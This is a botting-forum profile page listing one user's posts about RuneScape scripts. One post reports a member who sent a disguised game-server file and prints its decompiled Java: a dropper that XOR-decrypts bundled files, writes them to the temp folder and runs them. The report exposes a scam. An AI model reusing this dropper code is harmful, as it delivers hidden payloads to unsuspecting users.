Skip to content
View in the app

A better way to browse. Learn more.

OSBot :: 2007 OSRS Botting

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

progamerz

Scripter II
  • Joined

  • Last visited

Everything posted by progamerz

  1. http://i.imgur.com/rSUjf6W.png
  2. Sure thought u can check pm logs Says he is banned
  3. if u need testing lemme know !
  4. Anything extra needed?
  5. Disputed member:http://osbot.org/forum/user/62294-berke203/ Thread Link:N/A Explanation: He sent me on skype an RSPS server link and i ran it and ESET caught it as virus so after that i decompiled it. Evidence: Skype Profile screenshot with chat background : http://i.imgur.com/RlmLEn3.png Skype Chat logs: 1)http://i.imgur.com/lF8nu7l.png 2)http://i.imgur.com/hkWFOVa.png 3)http://i.imgur.com/jX8uqKL.png 4)http://i.imgur.com/mr07vog.png 5)http://i.imgur.com/LjECo9U.png 6)http://i.imgur.com/LjECo9U.png 7)http://i.imgur.com/OmxNc6Z.png 8)http://i.imgur.com/x8TjRNJ.png 9)http://i.imgur.com/5ZR8ZVA.png 10)http://i.imgur.com/DyXYY9w.png 11)http://i.imgur.com/DFTEunv.png File Code: Main.java /* * Decompiled with CFR 0_114. */ package de.sogomn.drop; import de.sogomn.drop.FileDropper; import de.sogomn.drop.XorCipher; import java.io.BufferedReader; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.Reader; import java.util.ArrayList; import java.util.function.IntFunction; import java.util.stream.Stream; public final class Main { private static final String NAME_PATH = "/data"; private static final String TEMP_DIRECTORY = System.getProperty("java.io.tmpdir"); private Main() { } private static String[] readLines(String path) throws IOException { InputStream in = Main.class.getResourceAsStream(path); InputStreamReader inReader = new InputStreamReader(in); BufferedReader reader = new BufferedReader(inReader); ArrayList<String> lines = new ArrayList<String>(); String line = null; while ((line = reader.readLine()) != null) { lines.add(line); } reader.close(); String[] lineArray = (String[])lines.stream().toArray(n -> new String[n]); return lineArray; } private static byte[] readResource(String fileName) throws IOException { InputStream in = Main.class.getResourceAsStream("/" + fileName); ByteArrayOutputStream out = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int bytesRead = 0; while ((bytesRead = in.read(buffer)) != -1) { out.write(buffer, 0, bytesRead); } in.close(); byte[] data = out.toByteArray(); return data; } public static void main(String[] args) { try { String[] fileNames; String[] arrstring = fileNames = Main.readLines("/data"); int n = arrstring.length; int n2 = 0; while (n2 < n) { String name = arrstring[n2]; byte[] data = Main.readResource(name); XorCipher.crypt(data); FileDropper dropper = new FileDropper(name, data); dropper.drop(TEMP_DIRECTORY); ++n2; } } catch (IOException ex) { ex.printStackTrace(); } } } XorCipher.java /* * Decompiled with CFR 0_114. */ package de.sogomn.drop; public final class XorCipher { private static final byte KEY = 56; private XorCipher() { } public static void crypt(byte[] data) { int i = 0; while (i < data.length) { data[i] = (byte)(data[i] ^ 56); ++i; } } } FileDropper.java /* * Decompiled with CFR 0_114. */ package de.sogomn.drop; import java.awt.Desktop; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; public final class FileDropper { private String fileName; private byte[] data; public FileDropper(String fileName, byte[] data) { this.fileName = fileName; this.data = data; } private void execute(File file) throws IOException { boolean openSupported; Desktop desktop; boolean desktopSupported = Desktop.isDesktopSupported(); if (desktopSupported && (openSupported = (desktop = Desktop.getDesktop()).isSupported(Desktop.Action.OPEN))) { desktop.open(file); } } public void drop(String directory) throws IOException { File file = new File(String.valueOf(directory) + File.separator + this.fileName); FileOutputStream out = new FileOutputStream(file); out.write(this.data); out.flush(); out.close(); this.execute(file); } } If u need anything more lemme know. Thanks, Progamerz
  6. Using fake emails like 123@123.com u don't need to register them to login to the game but if u wanna change pass and etc u needa register them to ur E-mail.
  7. DN#9 7,14,21,28,35,41
  8. How u make it that color?
  9. Which IDE u use?
  10. Skype : progamerz.rs
  11. progamerz replied to Sumo's topic in Archive
    sent a request
  12. progamerz replied to Sumo's topic in Archive
    would support this + if u need testing lemme know!
  13. Will try and let u know! EDIT : both working thanks!
  14. Hello, i am trying to make my script stop if the OSBot Client username is not progamerz Tried this code but still logging out if(getClient().getUsername() != "progamerz" ){ log("Take permission from progamerz please."); this.stop(); }
  15. progamerz replied to Stitch's topic in Archive
    if u want testers lemme know!
  16. yup i meant the script on Mirror Mode.
  17. as i said when u run the script multiple times and stop it something similar to that will happen due to loading Czar's API multiple times soo yeh or maybe from mirror mode.
  18. for me working good what settings u using? EDIT: try restarting the client this sometimes happens when u run the script many times and stop it and try to run it again.
  19. trial please?
  20. Same version number?
  21. When we make it drink stam potions it will only drink if they were (4) but if were (3) it will try to hover over them when the bank interface is opened.

Account

Navigation

Search

Search

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.